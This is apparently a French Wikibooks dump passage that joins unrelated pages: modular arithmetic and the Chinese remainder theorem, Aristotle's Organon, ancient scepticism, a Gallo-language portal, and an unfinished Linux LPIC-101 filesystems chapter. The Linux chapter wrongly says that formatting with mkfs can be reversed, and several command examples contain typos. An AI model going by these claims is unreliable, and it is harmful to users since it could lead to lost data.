-21 = 34. ''Pourquoi est-ce si lent pour deux nombres d'être si petit ? Que pouvez-vous dire sur les coefficients ?'' '''Exemple 4''' Trouver la plus petite valeur positive de ''a'' : :<math> \begin{matrix} 21a & \equiv & 1 \ \ \mbox{(mod 102)}\\ 21a &=& 1 + 102b\\ 21c &=& 1 + 18b\\ 3c &=& 1 + 18d\\ 3d &=& 1\\ \end{matrix} </math> Maintenant ''d'' n'est pas un nombre entier, par conséquent 21 n'a pas d'inverse mod 102. Ce que nous avons exposé si longuement est la méthode pour trouver des solutions entières aux équations de la forme : :ax + by = 1 où ''x'' et ''y'' sont inconnus et ''a'' et ''b'' sont deux constantes données, ces équations sont appelées ''équations diophantiennes'' linéaires. Il est intéressant de noter que quelquefois il n'existe pas de solution, mais si une solution existe, cela implique qu'il en existe une infinité. ====*Explication alternative*==== L'exemple était de trouver ''a'' donné : :216''a'' = 1 (mod 811) Appliquons l'algorithme d'Euclide sur les deux nombres, mais nous aimerions plus de détails; plus précisément, nous voulons rajouter une colonne appelée QP pour faire apparaître le quotient partiel. Le quotient partiel est juste un terme technique pour "Combien de ''n'' vont dans ''m''" c.a.d. Le quotient partiel de 19 par 3 est 6, le quotient partiel de 21 par 4 est 5 et, en dernier exemple le quotient partiel de 49 par 7 est 7. <table border="1" cellpadding="2"> <tr> <th>Plus petit</th> <th>Plus grand</th> <th>QP</th> </tr> <tr> <td>216</td> <td>811</td> <th>3</th> </tr> <tr> <td>163</td> <td></td> <th></th> </tr> </table> La table indique que trois 211 vont dans 811 avec un reste de 163, ou symboliquement : :811 = 3 x 216 + 163. Continuons : <table border="1" cellpadding="2"> <tr> <th>Plus petit</th> <th>Plus grand</th> <th>QP</th> </tr> <tr> <td>216</td> <td>811</td> <th>3</th> </tr> <tr> <td>163</td> <td>216</td> <th>1</th> </tr> <tr> <td>53</td> <td>163</td> <th>3</th> </tr> <tr> <td>4</td> <td>53</td> <th>13</th> </tr> <tr> <td>1</td> <td>4</td> <th>4</th> </tr> <tr> <td>0</td> <td>1</td> <th></th> </tr> </table> Maintenant, nous formons ce que l'on appelle la "table magique" qui ressemble à ceci initialement <table border="1" cellpadding="2"> <tr> <td></td> <td></td> </tr> <tr> <td>0</th> <td>1</td> </tr> <tr> <td>1</th> <td>0</td> </tr> </table> Maintenant, nous écrivons le quotient partiel sur la première ligne : <table border="1" cellpadding="2"> <tr> <td></td> <td></td> <th>3</th> <th>1</th> <th>3</th> <th>13</th> <th>4</th> </tr> <tr> <td>0</th> <td>1</td> </tr> <tr> <td>1</th> <td>0</td> </tr> </table> Nous établissons la table en accord avec la règle suivante : :Multiplier un quotient partiel un espace vers la gauche de lui dans une ligne différente, ajouter le produit au nombre deux espaces vers la gauche sur la même ligne et placer la somme dans la ligne correspondante. Cela paraît plus compliqué qu'il est. Illustrons-le en produisant une colonne : <table border="1" cellpadding="2"> <tr> <td></td> <td></td> <th>3</th> <th>1</th> <th>3</th> <th>13</th> <th>4</th> </tr> <tr> <td>0</th> <td>1</td> <td>3</td> </tr> <tr> <td>1</th> <td>0</td> <td>1</td> </tr> </table> Nous plaçons un 3 dans la deuxième ligne parceque 3 = 3 x 1 + 0. Nous plaçons un 1 dans la troisième ligne parceque 1 = 3 x 0 + 1. Nous remplirons la table sans interruption : <table border="1" cellpadding="2"> <tr> <td></td> <td></td> <th>3</th> <th>1</th> <th>3</th> <th>13</th> <th>4</th> </tr> <tr> <td>0</th> <td>1</td> <td>3</td> <td>4</td> <td>15</td> <td>199</td> <td>811</td> </tr> <tr> <td>1</th> <td>0</td> <td>1</td><td>1</td><td>4</td><td>53</td><td>216</td> </tr> </table> Ainsi : :|199 x 216 - 811 x 53| = 1 En fait, si vous avez remplis la table magique proprement et ''multiplié en croix et soustrait'' la dernière colonne correctement, alors vous obtiendrez toujours 1 ou -1, indiquant que les deux nombres avec lesquels vous avez démarré sont premiers entre eux. La table magique est juste une manière plus propre de faire des mathématiques. Une manière ''désordonnée'' de faire la même chose serait comme ce qui suit : :811 = 3 x 216 + 163 :216 = 1 x 163 + 53 :163 = 3 x 53 + 4 :53 = 13 x 4 + 1 Maintenant, nous pouvons extraire l'inverse de 216 en récupérant les résultats à l'envers :1 = 53 - 13 x 4 :1 = 53 - 13 x(163 - 3 x 53) :1 = 40 x 53 - 13 x 163 :1 = 40 x(216 - 163) - 13 x 163 :1 = 40 x 216 - 53 x 163 :1 = 40 x 216 - 53 x(811 - 3 x 216) :1 = 199 x 216 - 53 x 811 Si nous regardons l'équation mod 811, nous verrons que l'inverse de 216 est 199. ====Exercice==== 1. Trouver le plus petit ''x'' positif : :216x = 1 (mod 816) 2. Trouver le plus petit ''x'' positif : :42x = 7 (mod 217) 3. '''(a)''' Produire la table magique pour 33a = 1 (mod 101)<br/> '''(b)''' Evaluer et exprimer sous la forme p/q :<math> 3 + {1 \over 16 + {1\over 2}} </math> Que remarquez-vous ? 4. '''(a)''' Produire la table magique pour 17a = 1 (mod 317)<br/> '''(b)''' Evaluer et exprimer sous la forme p/q :<math> 18 + {1 \over 1 + {1\over {1 + {1\over 1 + {1\over 5}}}}} </math> Que remarquez-vous ? ===Théorème des restes chinois=== Le théorème des restes chinois est connu en Chine sous le nom ''Han Xing Dian Bing'', qui dans sa traduction la plus naïve veut dire ''Han Xing compte ses soldats''. Le problème original est le suivant : :Il existe un nombre ''x'', lorsque divisé par 3 donne le reste 2, lorsque divisé par 5 donne le reste 3 et lorsque divisé par 7 donne le reste 2. Trouver le plus petit ''x''. Nous traduisons la question en forme symbolique : :<math> \begin{matrix} x&\equiv &2 \pmod{3}\\ x&\equiv &3 \pmod{5}\\ x&\equiv &2 \pmod{7}\\ \end{matrix} </math> Comment allons-nous rechercher un tel ''x'' ? Nous utiliserons une méthode familière et cela sera illustré de meilleure manière par un exemple : Regardons x = 2 (mod 3), nous faisons le ''saut'' en mathématique ordinaires :<math> \begin{matrix} x&\equiv &2 \pmod{3}\\ x &=& 2 + 3a \qquad (1) \end{matrix} </math> Maintenant, regardons l'équation modulo 5 :<math> \begin{matrix} 2 + 3a &\equiv& 3 \pmod{5}\\ 3a &\equiv& 1 \pmod{5}\\ a &\equiv& 2 \pmod{5}\\ a &=& 2 + 5b \end{matrix} </math> Substituons dans (1) pour obtenir (2) :<math> x = 2 + 3(2 + 5b) \qquad (2) </math> :<math> x = 8 + 15b \equiv 2 \pmod{7} </math> :<math> b \equiv 1 \pmod{7} </math> Nous choisissons b = 1 pour minimiser x, par conséquent x = 23. Et une vérification simple (à exécuter par le lecteur) confirmerait que x = 23 est une solution. Une bonne question à poser est "quel est le prochain plus petit ''x'' qui satisfait aux trois congruences ? La réponse est x = 128, et le prochain ''x'' est 233 et le prochain ''x'' est 338, et ils diffèrent de 105, le produit de 3, 5 et 7. Nous illustrerons la méthode de résolution d'un système de congruences supplémentaire par les exemples suivants : '''Exemple 1''' Trouver le plus petit ''x'' qui satifait : :<math> x \equiv 1 \pmod{3} </math> :<math> x \equiv 2 \pmod{5} </math> :<math> x \equiv 3 \pmod{7} </math> '''Solution''' :<math> \begin{matrix} x &=& 1 + 3a &\equiv& 2 \pmod{5}\\ & & a &=& 2 + 5b\\ x &=& 1 + 3(2 + 5b) &\equiv& 3 \pmod{7}\\ &=& 7 + 15b &\equiv& 3 \pmod{7}\\ && b &\equiv& 3 \pmod{7}\\ && b &= &3 + 7c\\ x &=& 7 + 15(3 + 7c)\\ x &=& 52 + 15\times 7c \end{matrix} </math> Par conséquent 52 est le plus petit ''x'' qui satisfait les congruences. '''Exemple 2''' Trouver le plus petit ''x'' qui satifait : :<math> x \equiv 5 \pmod{11} </math> :<math> x \equiv 3 \pmod{7} </math> :<math> x \equiv 8 \pmod{9} </math> ''' Solution ''' :<math> \begin{matrix} x &=& 5 + 11a &\equiv& 3 \pmod{7}\\ & & a &\equiv& 3 \pmod{7} \\ & & a &=& 3 + 7b \\ x &=& 5 + 11(3 + 7b)\\ x &=& 38 + 11\times 7b &\equiv & 8\pmod{9}\\ & & 2 + 2\times 7b &\equiv &8 \pmod{9}\\ & & b &\equiv &3 \pmod{9}\\ & & b &= &3 + 9c\\ x &=& 38 + 11\times 7(3 + 9c)\\ &=& 269 + 11\times 7\times 9c \end{matrix} </math> Par conséquent 269 est le plus petit ''x'' qui satifait les congruences. ==== Exercices ==== 1. Résoudre pour ''x'' :<math> \begin{matrix} 3x &\equiv & 5 \pmod{14} \\ 2x &\equiv & -3 \pmod{17} \\ x &\equiv &6 \pmod{15} \\ \end{matrix} </math> 2. Résoudre pour ''x'' :<math> \begin{matrix} 3x &\equiv & 5 \pmod{19} \\ 7x &\equiv & -3 \pmod{17} \\ x &\equiv &6 \pmod{11} \\ \end{matrix} </math> ==== Existence d'une solution ==== Les exercices précédents ont tous une solution. Donc, existe-t'il un système de congruences tel qu'aucune solution ne puisse être trouvée ? C'est certainement possible, considérons : :x &equiv; 5 (mod 15) :x &equiv; 10 (mod 21) Un exemple plus gros est : :x &equiv; 1 (mod 2) :x &equiv; 0 (mod 2) mais nous ne considérons pas des exemples absurdes comme cela. Revenons au premier exemple, nous pouvons essayer de résoudre en faisant : :<math> \begin{matrix} x & = & 5 + 15k & \equiv & 10 & \pmod{21} \\ & & 15k & \equiv & 5 & \\ & & 3k & \equiv & 1 & \\ \end{matrix} </math> l'équation précédente n'a pas de solution parceque 3 n'a pas d'inverse modulo 21 ! Vous pouvez conclure rapidement que si deux systèmes modulo partagent un facteur commun alors il n'existe pas de solution. Mais ceci n'est pas vrai ! Considérons : :x &equiv; 4 (mod 15) :x &equiv; 7 (mod 21) :<math> \begin{matrix} x & = & 4 + 15k & \equiv & 7 & \pmod{21} \\ & & 15k & \equiv & 3 & \\ & & 17 \times 15k & \equiv & 17 \times 3 & \\ & & 3k & \equiv & 9 & \\ \end{matrix} </math> évidemment, une solution existe, explicitement k = 3, et les deux systèmes modulo sont le même comme pour le premier exemple (i.e. 15 et 21). Donc, qu'est-ce qui détermine si un système de congruences possède une solution ou pas ? Considérons le cas général : :x &equiv; a (mod m) :x &equiv; b (mod n) Nous avons :x = a + km :x = b + ln essentiellement, le problème nous demande de trouver k et l tels que les deux équations précédentes soient satisfaites. Nous effectuons : :0 = (a - b) + (km - ln) :(ln - km) = (a - b) Maintenant supposons que m et n ont pgdc(m,n) = d, et m = dm<sub>o</sub>, n = dn<sub>o</sub>. Nous avons :dln<sub>o</sub> - dkm<sub>o</sub> = (a - b) :ln<sub>o</sub> - km<sub>o</sub> = (a - b)/d maintenant lire l'équation mod k<sub>o</sub>, nous avons : :l<sub>o</sub>n &equiv; (a - b)/d (mod k<sub>o</sub>) noter que ce qu'il y a ci-dessus n'a de sens seulement si (a - b)/d est entier. Aussi si (a - b)/d est un entier, alors il existe une solution, comme k<sub>o</sub> et l<sub>o</sub> sont premiers entre eux ! En résumé : pour un systeme de deux équations congruentes :x &equiv; a (mod m) :x &equiv; b (mod n) il existe une solution si et seulement si :pgdc(m,n) divise (a - b) Et ce qui suit généralise le cas à plus de deux congruences. Pour un système de ''n'' congruences : :x &equiv; a<sub>1</sub> (mod m<sub>1</sub>) :x &equiv; a<sub>2</sub> (mod m<sub>2</sub>) :... :x &equiv; a<sub>n</sub> (mod m<sub>n</sub>) , pour qu'une solution existe, il faut pour tout i et j avec i &ne; j :pgdc(m<sub>i</sub>,m<sub>j</sub>) divise (a<sub>i</sub> - a<sub>j</sub>) ==== Exercices ==== Décider si une solution existe pour chacune des congruences. Expliquer pourquoi. 1. :x &equiv; 7 (mod 25) :x &equiv; 22 (mod 45) 2. :x &equiv; 7 (mod 23) :x &equiv; 3 (mod 11) :x &equiv; 3 (mod 13) 3. :x &equiv; 7 (mod 25) :x &equiv; 22 (mod 45) :x &equiv; 7 (mod 11) 4. :x &equiv; 4 (mod 28) :x &equiv; 28 (mod 52) :x &equiv; 24 (mod 32) ==Pour aller plus loin== Ce chapitre a été une introduction sympathique à la théorie des nombres, une branche des mathématiques profondément belle. Elle est sympathique dans le sens qu'elle est mathématiquement légère et somme toute un peu facile. Si vous avez apprécié la matière de ce chapitre, vous seriez aussi enchanté par le chapitre [[AL Arithmétique modulaire approfondie | Arithmétique modulaire approfondie]], qui est un traitement plus difficile et plus rigoureux du sujet.. ==Reconnaissance== ''Reconnaissance : Ce chapitre doit beaucoup de son inspiration à Terry Gagen, Professeur associé de Mathématiques à l'Université de Sydney, et à ses notes de lecture de "Number Theory and Algebra". Terry est un personnage très apprécié parmi ses étudiants et est renommé pour son style d'apprentissage entrainant.'' Philosophie/Organon 3647 46122 2006-06-27T20:29:27Z Guillaumito 46 [[Organon]] déplacé vers [[Philosophie/Organon]]: Convention de nommage L''''''Organon''''' désigne un ensemble de traités de [[logique]] que l'on attribue à [[Aristote]]. Ce sont les plus anciens traités de logique qui soient parvenus jusqu'à nous. Le titre d'''Organon'' n'est pas d'Aristote ; il est mentionné pour la première fois par [[Diogène Laërce]]. Aristote y expose de manière systématique les formes de la [[pensée]] et de la [[démonstration]] comme condition de la [[science]]. Les traités forment un ensemble complet dont les parties se suivent selon un ordre déterminé. == Composition == L'''Organon'' comprend : *[[Catégories (Aristote)|Catégories]], une analyse des éléments les plus simples des propositions ; *[[De l'interprétation]], étude de la proposition ; *[[Premiers Analytiques]], qui exposent les règles et les formes de la démonstration en général ; *[[Seconds Analytiques]], qui exposent la théorie du syllogisme nécessaire ; *[[Les Topiques]], qui exposent les lieux de la [[dialectique]] ; *[[Les Réfutations Sophistiques]], qui exposent les principaux sophismes et les moyens de les réfuter. On y joint parfois la ''Rhétorique'' et la ''Poétique''. Cette présentation systématique ne signifie pas que ces œuvres furent rédigées dans cet ordre. En effet, on trouve plusieurs renvois qui montrent que l'ordre logique n'est pas l'ordre chronologique : ''Les Analytiques'' sont ainsi citées dans le chapitre 10 du [[De l'interprétation]] ; et au livre I, §1 des ''Analytiques'' il est question des ''Topiques''. Mais ceci tout aussi bien peut s'expliquer par une réécriture des œuvres au cours de la vie d'Aristote. Est-ce Aristote qui disposa ces livres selon l'ordre que nous leur connaissons aujourd'hui ? Les propos d'Aristote semblent bien montrer que celui-ci avait une idée précise de l'ordre de sa [[logique]]. Pour lui, en effet, les démonstrations doivent être fondées sur certains éléments ou principes (i.e. les [[Catégories (Aristote)|Catégories]]) ; ensuite, les raisonnements sont de trois sortes (''Topiques'', I, 1) : *le syllogisme logique *le syllogisme dialectique *le syllogisme sophistique Aristote déclare clairement que les ''Analytiques'' sont consacrées aux syllogismes, et que les ''Topiques'' enseignent l'art de la conjecture et de la discussion. Dans ''[[la Métaphysique]]'', Aristote distingue de même manière l'étude et la recherche philosophique qui porte sur la [[vérité]], la [[dialectique]] qui porte sur le probable, et la sophistique, qui ne donne qu'une apparence de [[réalité]] (''Métaphysique'', 5, §2). Néanmoins, il est également possible qu'un disciple d'Aristote ait suivi les indications de son maître pour organiser les traités. == Les Catégories == '''''Les Catégories''''' sont une œuvre attribuée à [[Aristote]] que l'on place en tête de l'[[Organon]]. Aristote commence par poser quelques distinctions fondamentales, puis analyse les éléments les plus simples des propositions (l'étude de la proposition est l'objet du '''''[[De l'interprétation]]''''', deuxième livre de l'Organon). === Distinctions de base === *Homonyme/synonyme/paronyme **Homonyme : ce qui n'a de commun que le [[nom]], mais l'énoncé de l'[[concept d'essence|essence]], la [[définition]] de ''ce que c'est'', pour un chose, d'être tel, est propre ; **Synonyme : ce qui a le nom en commun, et l'énoncé de l'essence est le même ; **Paronyme : ce qui tire d'un autre une appellation en rapport avec son nom par différenciation flexionnelle. *Ce qui se dit : **en combinaison : « (l') homme court » ; **sans combinaison : « homme », « court ». *Ce qui est : **ce qui se dit d'un sujet et n'est dans aucun sujet ; **ce qui est dans un sujet, mais ne se dit d'aucun sujet ; **ce qui se dit d'un sujet, et est dans un sujet ; ** ce qui n'est ni dans un sujet, ni ne se dit d'un sujet : les essences. *Espèce, genre, différence : **tout ce qui se dit du prédiqué se dira également du sujet ; **pour les genres distincts, les différences également sont d'espèce distincte ; **des genres rangés les uns sous les autres peuvent avoir les mêmes différences ; **les genres supérieurs se prédiquent des genres inférieurs. === Les catégories === Aristote donne ici une liste de dix catégories : essence, quantifié, qualifié, relatif, quelque part, à un moment, se trouver dans une position, avoir, agir, pâtir.<br /> À cette liste s'ajoutent les opposés, les contraires, l'antérieur, le simultané et la mobilité. === L'essence === Attention de bien distinguer le sens donné ici du sens donné dans l'article [[Substance (Aristote)]]. Il y a en effet ici un problème d'interprétation.<br /> *Au sens fondamental, premier, l'essence est ce qui ne se dit pas d'un sujet ni n'est dans un sujet : tel [[homme]] donné, tel [[cheval]] donné.<br /> *Les essences secondes : ce à quoi appartient les essences au sens premier, les espèces et les genres de ces espèces.<br /> Toute essence semble donc signifier un ceci (''tode ti''). Les essences premières désignent quelque chose d'individuel et de numériquement un. Les essences secondes désignent plutôt un qualifié, mais un qualifié dans le champ d'une essence et qui se dit d'une multiplicité. L'essence n'a pas de contraire et n'admet pas le plus et le moins. Etant la même et numériquement une, l'essence admet les contraires et admet donc aussi le changement. === Le quantifié === === Le relatif === Est relatif ce qui est tel que ce qu'il est lui-même est dit être d'autre chose, ou relativement à autre chose. Par exemple, ''le plus grand'' est dit ''plus grand que''.<br /> L'habitus (''hexis''), la disposition, la sensation, la [[connaissance]] sont des relatifs. === La qualité === Aristote distingue quatre sortes de qualité : *l'habitus et la disposition ; *la capacité ou l'incapacité de faire ou de pâtir ; *les qualités affectives et affections ; *la figure et la forme. Les qualifiés viennent des qualités de manière paronymique. === L'agir et le pâtir === == De l'Interprétation == '''''De l'interprétation''''' est une œuvre d'[[Aristote]], deuxième ouvrage de l'Organon, traitant des propositions. === Les éléments de la proposition === *Le discours (''logos'') est un son vocal, dont chaque partie, séparement, a une signification en tant qu'énonciation. Tout discours n'est pas une proposition ; *La proposition simple affirme quelque chose de quelque chose ou le nie : c'est une émission de voix possédant une signification concernant la présence ou l'absence d'un attribut dans un sujet ; *Le nom *Le verbe *L'affirmation et la négation *Universel et singulier == Bibliographie == '''Traductions latines''' *[[Wikisource:Categoriae|Categoriae]] (traduction Boèce) *[[Wikisource:De interpretatione|De interpretatione]] (traduction Boèce) '''Études''' *[[Wikisource:In categorias Aristotelis commentaria|In categorias Aristotelis commentaria]], Boèce *[[Wikisource:Commentarium in librum Aristotelis Peri hermeneias primae editionis|Commentarium in librum Aristotelis Peri hermeneias primae editionis]], Boèce *[[Wikisource:Quaestiones in Analytica priora|Quaestiones in Analytica priora]], Jean Buridan [[catégorie:Commentaire philosophique]] [[catégorie:Fiche de lecture (philosophie)]] Scepticisme 3648 21609 2005-09-17T17:06:45Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Stoïcisme]]''' | width="34%" align="center"|'''[[Histoire de la philosophie - La philosophie antique|La philosophie antique]]''' | width="33%" align="right"|'''[[Épicure]]''' |} :Le '''scepticisme''' (du grec ''skeptikos'', qui examine) est en un sens large une doctrine selon laquelle la pensée humaine ne peut parvenir à aucune certitude, ni sur la vérité d'une proposition, ni sur sa probabilité. :Dans l'Antiquité, l'école sceptique eut pour fondateur le philosophe [[Pyrrhon d'Élis|Pyrrhon]] dont nous ne connaissons pas avec certitude la doctrine. En outre, nous ne possédons que quelques fragments de l'œuvre de son disciple [[Timon de Phlionte]]. Le scepticisme antique est ainsi résumé par [[Victor Brochard]] (IV, 2, voir bibliographie) : :''Le scepticisme consite à comparer et à opposer entre elles, de toutes les manières possibles, les choses que les sens perçoivent, et celles que l'intelligence conçoit. Trouvant que les raisons ainsi opposées ont un poids égal, le sceptique est conduit à la suspension du jugement et à l'ataraxie.'' {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="center" |[[Image:Sextus.jpg|thumb|170px|Sextus Empiricus]] | :Les sources : :[[Scepticisme/Liste des sources|Liste des sources]] :[[Scepticisme/Textes et traductions|Textes et traductions]] :La pensée sceptique : :[[Scepticisme/Liste des sceptiques|Liste des sceptiques]] :[[Scepticisme/Périodes|Périodes du scepticisme]] :[[Pyrrhon]] - [[Agrippa]] - [[Ænésidème]] :[[Scepticisme/Vocabulaire|Vocabulaire du scepticisme antique]] :[[Scepticisme/Classement thématique|Classement thématique]] :Les études : :[[Scepticisme/Victor Brochard|Notice de Victor Brochard]] :Autres textes : [[Scepticisme/Scepticisme dans la littérature|Le scepticisme dans la littérature]] :[[Scepticisme/Bibliographie|Bibliographie]] |} == Doctrine générale du scepticisme antique == D'après Sextus, la philosophie sceptique (dans sa période tardive) est une philosophie non dogmatique dont le principe méthodologique est d'opposer à toute [[raison]] valable, et sur tous sujet, une raison contraire et tout aussi convainquante. Le but de cette recherche, que l'on peut qualifier de [[logique]], est de détruire les fausses opinions que nous soutenons à tout propos et qui nous rendent malheureux en nous trompant sur la [[nature]] des choses. Ce dernier point peut être rapproché de l'[[épicurisme]] ; mais la comparaison s'arrête là, car le sceptique entend bien rester dans l'ignorance en n'admettant rien qui ne soit douteux. Il ne formule pas d'hypothèses, mais laisse toujours ouverte la possibilité d'une réfutation. En revanche, la [[réalité]] des phénomènes est tenue pour certaine, c'est-à-dire que l'apparence est telle qu'elle nous apparaît. Il ne dit pas : ''« cet objet (comme substance) est tel (qualité intrinsèque) »'' ; mais : ''« cet objet, en tant qu'il m'apparaît, apparaît avec telle qualité sensible »''. Du point de vue de la [[connaissance]], cela revient à nier la catégorie de substance, pour n'affirmer que des apparences liées sans substrat [[métaphysique]] ; d'un point de vue moral, cette distinction permet d'établir des règles de vie issues de l'expérience : en général, le sceptique suit les croyances établies, même s'il n'y croît pas. Les opinions du sens commun lui sont indifférentes : telle est la conclusion morale de cette philosophie, l'[[ataraxie]] et l'acatalepsie (la tranquillité et absence de compréhension). Selon [[Victor Brochard]], le scepticisme, dans ses formulations les plus rigoureuses, est une véritable méthode scientifique, comparable à l'esprit scientifique moderne. En effet, ne posant aucune hypothèse d'ordre métaphysique, le scepticisme n'interdit pas d'étudier les phénomènes et d'en faire la [[théorie]]. Mais il faut dire toutefois que ces philosophes ne semblent pas avoir eu conscience de la nouveauté épistémologique de leur doctrine, trop occupés qu'ils étaient dans leur recherche de l'indifférence heureuse. Enseignement du gallo 3654 15147 2005-05-20T21:17:21Z AKARIGE 313 <center> <TABLE CELLPADDING=10> <TD> <center>[[Image:Bretagne_flag.png|180px|Drapeau de la Bretagne]]<br><small>''Bertaèyn / Breizh / Bretagne''</small></center> </TD> <TD> <big><big>'''gallo''' ~ '''français'''</big></big><br><br> <big>s'initier au gallo, la langue britto-romane</big><p><br> <big>''s'aprandr un petit le galo''</big><p><br> <big><big>'''galo''' ~ '''fraunceiz'''</big></big><br><br> <big>>> [[Enseignement du gallo/Contenu|contenu]] <<</big> </TD> <TD> <center>[[Image:BlasonBRETAGNE.jpg|100px|Armoiries de la Bretagne]] </TD> </TABLE> Périphériques & Systèmes de fichiers Linux (LPIC101) 3656 28865 2006-01-13T21:37:09Z JMRyan 1016 Lien à la version anglaise. {{LPIC101}} {{EnCours}} == Objectifs de == * 1.104.1 Create partitions and filesystems * 1.104.2 Maintain the integrity of filesystems * 1.104.3 Control mounting and unmounting filesystems * 1.104.4 Managing disk quota * 1.104.5 Use file permissions to control access to files * 1.104.6 Manage file ownership * 1.104.7 Create and change hard and symbolic links * 1.104.8 Find system files and place files in the correct location * Linux filesystems * Create partitions and filesystems * Maintain the integrity of filesystems * Control mounting and unmounting filesystems * Managing disk quota * Use file permissions to control access to files * Manage file ownership * Create and change hard and symbolic links == Créer des partitions et des systèmes de fichiers == === Objectifs === Description: ''Les candidats devraient pouvoir configurer les partitions disque et créer des "filesystems" sur des supports(media) tel que les disques durs. Cet objectif inclu en utilisant divers commandes diverses mkfs d'installer les partitions pour des filesystems variés, incluant ext2, ext3, reiserfs, vfat, et xfs.'' Key <b>files</b><i> terms</i> and<tt> utilities</tt> include:<br> <tt>fdisk<br> mkfs</tt> === Partitions === Un support peut être divisé en plusieurs partitions. Les partitions sont habituellement créées lors de l'installation, mais elles peuvent aussi être créées avec le programme fdisk ou d'autres utilitaires. Ceci permet de diviser le support en plusieurs partitions avec des systèmes de fichiers séparés et où des systèmes d'opérations peuvent être installés. Un support IDE est reconnu comme suit : <pre> Primary Master: /dev/hda: Full disk /dev/hda1: First partition /dev/hda2: Second parition Primary Slave: /dev/hdb Secondary Master /dev/hdc Secondary Slave /dev/hde </pre> Un support SCSII est reconnu comme suit : <pre> ID1: /dev/sda: Full disk /dev/sda1: First partition ID2: /dev/sdb </pre> Les supports USB et FireWire sont reconnus comme des supports SCSI. Une fois partitionné, il est possible de créer un système de fichier sur chaque partition. === Systèmes de fichiers === Les systèmes de fichiers permettent d'enregistrer, re lire et de manipuler des données sur un support. Les systèmes de fichiers maintiennent une structure de données interne (meta-données) qui gardent les données organisées et accessibles. La structure de ces meta-données caractérise un système de fichiers. On peut accéder à un système de fichiers grâce à un pilote à la structure organisée des meta-données. Quand Linux démarre, il lit dans le fichier /etc/fstab la liste des systèmes de fichiers qui doivent être montés et vérifiés s'ils sont dans un état instable. Si une panne de courant survientm Linux se pourra pas démonter proprement le système de fichiers et certaines meta-données du cache ne seront pas synchronisées avec le support. Les meta-données peuvent être corrompues. Quand vous redémarrez le système, il détectera cela et fera avec fsck une vérification complète de la consistence de la structure des meta-données. Cela peut prendre du temps, de quelques minutes à quelques heures, selon la taille du support. ==== Système de fichiers journalisé ==== Journaliser un système de fichiers ajoute une nouvelle structure de données appelée un journal. Ce journal se trouve sur le disque, et avant chaque modification des meta-données faite par le pilote, elle est d'abord inscrite dans le journal. Avant chaque modification des meta-données, le journal maintient un rapport (log) de la prochaine opération. Maintenant, si une panne de courant survient, il est seulement nécessaire de vérifier le journal. Un système de fichiers journalisé est très rapide. Il a seulement besoin de lire les rapports et de corriger la dernière opération. La récupération d'un système de fichiers ne prend que quelques secondes. Sur un système de cluster, la journalisation permet de récupérer rapidement une partition partagée d'un ''node'' qui s'est arrêté. === Systèmes de fichiers de Linux === * ext2: Ancien système de fichiers de Linux, très stable. Efficace pour les fichiers de plus de 2 ou 3 Ko. * ext3: Extension journalisé pour ext2. Il est possible de passer d'un sytème de fichier ext2 à ext3 et vice-versa. * Reiserfs: Système de fichiers journalisé. De 8 à 15 fois plus rapide que ext2 pour manipuler de petits fichiers. * XFS: Un système de fichiers journalisé très puissant avec des quotas et des ACL. * Msdos: Système de fichiers FAT de MS-Windows. * NTFS (en lecture seulement): Système de fichiers journalisé de MS-Windows * SMBFS: Un système de fichiers permettant de monter les partages Windows ou Samba depuis Linux. * NFS: Network File System, système de fichiers en réseau. ... === Arbre du système de fichiers === Un système de fichiers Linux a un répertoire au sommet de la hiérarchie appelé root (/) où sont stockés tous les sous-répertoires du système de fichiers. Les sous-répertoires peuvent être une autre partition, un répertoiure distant, ou un répertoire distant accessible par le protocole NFS. === Création d'un système de fichiers === Pour créer un système de fichiers sur une partition, utilisez la commande mkfs. mkfs [options] -t [fstype] device [blocksize] Options courantes : :-t [fstype] : Type de système de fichiers. :-c : Vérification de blocks défectueux sur le périfiérique avant la construction du système de fichiers. La partition complète sera effacée et organisée avec le type de système de fichiers demandé. Il est possible de revenir en arrière. Les types de systèmes de fichiers possibles sont : msdos, ext2, ext3, reiserfs,minix, xfs Le paramètre [blocksize] permet d'adapter la taille des blocks à vos besoins. Exemples : mkfs -t msdos /dev/fd0 mkfs -t reiserfs /dev/hdd1 4096 ==== Création de systèmes de fichiers étendu ==== Pour créer un système de fichiers étendu (ext2, ext3) sur une partition, utilisez mke2fs. mke2fs [options] device [blocksize] Options courantes : :-b : Specifie la taille des blocks :-c : Vérification de blocks défectueux sur le périfiérique avant la construction du système de fichiers. :-j : Création du système de fichier avec un journal ext3 :-L : Définie une étiquette pour le volume du système de fichiers. Avec mke2fs, il est possible de stocker le superblock du journal sur un autre périférique. Exemples: mkefs -b 2048 /dev/fd0 -L floppy mkfs -V mke2fs 1.26 (3-Feb-2002) Using EXT2FS Library version 1.263 === Surveillance de l'utilisation du disque === Pour afficher l'utilisation du disque, utilisez du. du [options] [files...] Options courantes : :-a : Tous les fichiers, pas seulement les répertoires. :-b : Afficher la taille en octets. :-c : Total :-h : Format lisible par un être humain (1K, 20M,...). Exemples: $ du -ch Documents 112k Documents/Cours/LPI101 4.0k Documents/Cours/LPI102 4.0k Documents/Cours/LPI201 4.0k Documents/Cours/LPI202 124k total du -sk ~ # Affiche la taille totale en kilo-octets du -ak ~ | sort -n more # Affiche tous les fichiers et leur taille par ordre croissant. === Espace disque du système de fichiers === Un système de fichiers est composé d'une structure de meta-données et d'une liste de blocks. Pour afficher, l'utilisation de l'espace du disque, utilisez df. df [options] [files...] Options courantes : :-a: Inclure tous les systèmes de fichiers avec 0 blocks. :-t: Limiter la liste à un type de système de fichiers. :-h: Format lisible par un être humain (1K, 20M,...). Exemples: $ df -t reiserfs -h F 1k-blocks Used Available Use% Mounted on /dev/hda3 28771528 3121536 25649992 11% / $ df -t ext2 -h Filesystem Size Used Avail Use% Mounted on /dev/hda1 15M 3.8M 10M 27% /boot === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] == Maintenir l'intégrité d'un système de fichiers == === Objectifs === Description: ''Les candidats devraient pouvoir verifier l'intégrité des "filesystems", gerer l'espace libre et les inodes, et reparer des problémes simples sur le systeme de fichier. Cet objectif requier l'utilisation des commandes necessaires pour maintenir filesystem standard, ainsi que les données suplementaires associées avec la tenue d'un journal filesystem journaling.'' Key <b>files</b><i> terms</i> and<tt> utilities</tt> include:<br> <tt>du<br> df<br> fsck<br> e2fsck<br> mke2fs<br> debugfs<br> dumpe2fs<br> tune2fs</tt> === Vérification des systèmes de fichiers === To check filesystems consistency, use fsck. 